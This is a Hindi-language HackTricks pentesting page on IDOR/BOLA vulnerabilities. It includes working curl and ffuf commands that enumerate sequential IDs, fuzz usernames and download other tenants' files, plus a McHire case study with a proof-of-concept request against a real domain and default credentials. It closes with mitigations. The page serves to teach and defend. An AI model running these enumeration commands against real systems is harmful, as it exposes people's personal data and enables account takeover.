IDOR (Insecure Direct Object Reference)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब होता है जब कोई web या API endpoint कोई user–controllable identifier उजागर करता है या स्वीकार करता है जिसे किसी internal object तक पहुँचने के लिए directly उपयोग किया जाता है without verifying that the caller is authorized कि कॉलर को उस object तक पहुँचने/संशोधित करने का अधिकार है या नहीं। सफल एक्सप्लॉइटेशन सामान्यतः horizontal या vertical privilege-escalation की अनुमति देता है, जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना और, सबसे खराब स्थिति में, full account takeover या mass-data exfiltration।


1. संभावित IDORs की पहचान

  1. ऐसे parameters जो किसी object का संदर्भ देते हैं खोजें:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. उन endpoints को प्राथमिकता दें जो डेटा को read या update करते हैं (GET, PUT, PATCH, DELETE)।
  2. ध्यान दें जब identifiers sequential या predictable हों – यदि आपका ID 64185742 है, तो 64185741 संभवतः मौजूद होगा।
  3. hidden या alternate flows (उदा. लॉगिन पेज पर “Paradox team members” लिंक) का पता लगाएं जो अतिरिक्त APIs उजागर कर सकते हैं।
  4. एक authenticated low-privilege session का उपयोग करें और केवल ID बदलें, साथ ही वही token/cookie रखें। authorization error का अभाव आमतौर पर IDOR का संकेत होता है।

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

स्वचालित सूचीकरण (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

अनुमाननीय download IDs का अनुक्रमण (ffuf)

Authenticated file-hosting panels अक्सर per-user metadata को एक ही files table में संग्रहित करते हैं और /download.php?id=<int> जैसे download endpoint को एक्सपोज़ करते हैं। यदि handler केवल यह चेक करता है कि ID मौजूद है (और यह नहीं कि वह authenticated user की है), तो आप अपने वैध session cookie के साथ integer space को sweep करके अन्य tenants के backups/configs चुरा सकते हैं:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr 404-style टेम्पलेट्स को हटाता है ताकि केवल असली hits ही बचे (उदाहरण के लिए, IDs 54/150 leaking full site backups and signing material).
  • वही FFUF workflow Burp Intruder या एक curl loop के साथ भी काम करता है — बस IDs बढ़ाते समय सुनिश्चित करें कि आप authenticated रहें।

Error-response oracle के लिए user/file enumeration

जब कोई download endpoint दोनों username और filename स्वीकार करता है (e.g. /view.php?username=<u>&file=<f>), त्रुटि संदेशों में सूक्ष्म अंतर अक्सर एक oracle बना देते हैं:

  • Non-existent username → “User not found”
  • Bad filename but valid extension → “File does not exist” (कभी-कभी उपलब्ध files की भी सूची दिखाता है)
  • Bad extension → validation error

किसी भी authenticated session में, आप benign filename बनाए रखते हुए username parameter को fuzz कर सकते हैं और “user not found” string पर filter करके वैध users खोज सकते हैं:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

एक बार वैध उपयोगकर्ता नामों की पहचान हो जाने पर, विशिष्ट फाइलें सीधे अनुरोध करें (उदा., /view.php?username=amanda&file=privacy.odt)। यह पैटर्न आमतौर पर अन्य उपयोगकर्ताओं के दस्तावेज़ों का अनाधिकृत प्रकटीकरण और credential leakage का कारण बनता है।


2. वास्तविक दुनिया का केस स्टडी – McHire Chatbot Platform (2025)

Paradox.ai-powered McHire भर्ती पोर्टल के मूल्यांकन के दौरान निम्नलिखित IDOR पाया गया:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-अंकीय, क्रमिक संख्यात्मक पहचानकर्ता

lead_id घटाकर टेस्ट करने वाले ने मनमाने आवेदकों की full PII (name, e-mail, phone, address, shift preferences) और एक उपभोक्ता JWT प्राप्त की, जिससे session hijacking संभव हुआ। 1 – 64,185,742 रेंज के enumeration ने करीब 64 million रिकॉर्ड्स उजागर कर दिए।

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

टेस्ट अकाउंट तक पहुँच देने वाले default admin credentials (123456:123456) के साथ जुड़ने पर, यह कमजोरी कंपनी-व्यापी एक गंभीर डेटा उल्लंघन में परिणत हुई।


3. IDOR / BOLA का प्रभाव

  • Horizontal escalation – पढ़ना/अद्यतन/हटाना अन्य उपयोगकर्ताओं के डेटा।
  • Vertical escalation – कम-प्राधिकृत उपयोगकर्ता को केवल एडमिन के लिए उपलब्ध कार्यक्षमता मिलना।
  • यदि identifiers क्रमिक हों तो बड़े पैमाने पर डेटा उल्लंघन (उदा., applicant IDs, invoices)।
  • अन्य उपयोगकर्ताओं के टोकन चुरा कर या पासवर्ड रिसेट करके अकाउंट takeover।

4. रोधी उपाय & सर्वोत्तम प्रथाएँ

  1. हर अनुरोध पर Enforce object-level authorization लागू करें (user_id == session.user)।
  2. auto-increment IDs के बजाय indirect, unguessable identifiers (UUIDv4, ULID) को प्राथमिकता दें।
  3. authorization को server-side पर करें; hidden form fields या UI controls पर कभी भरोसा न करें।
  4. एक केंद्रीय middleware में RBAC / ABAC चेक लागू करें।
  5. ID की enumeration का पता लगाने के लिए rate-limiting & logging जोड़ें।
  6. हर नए endpoint का security परीक्षण करें (unit, integration, and DAST)।

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें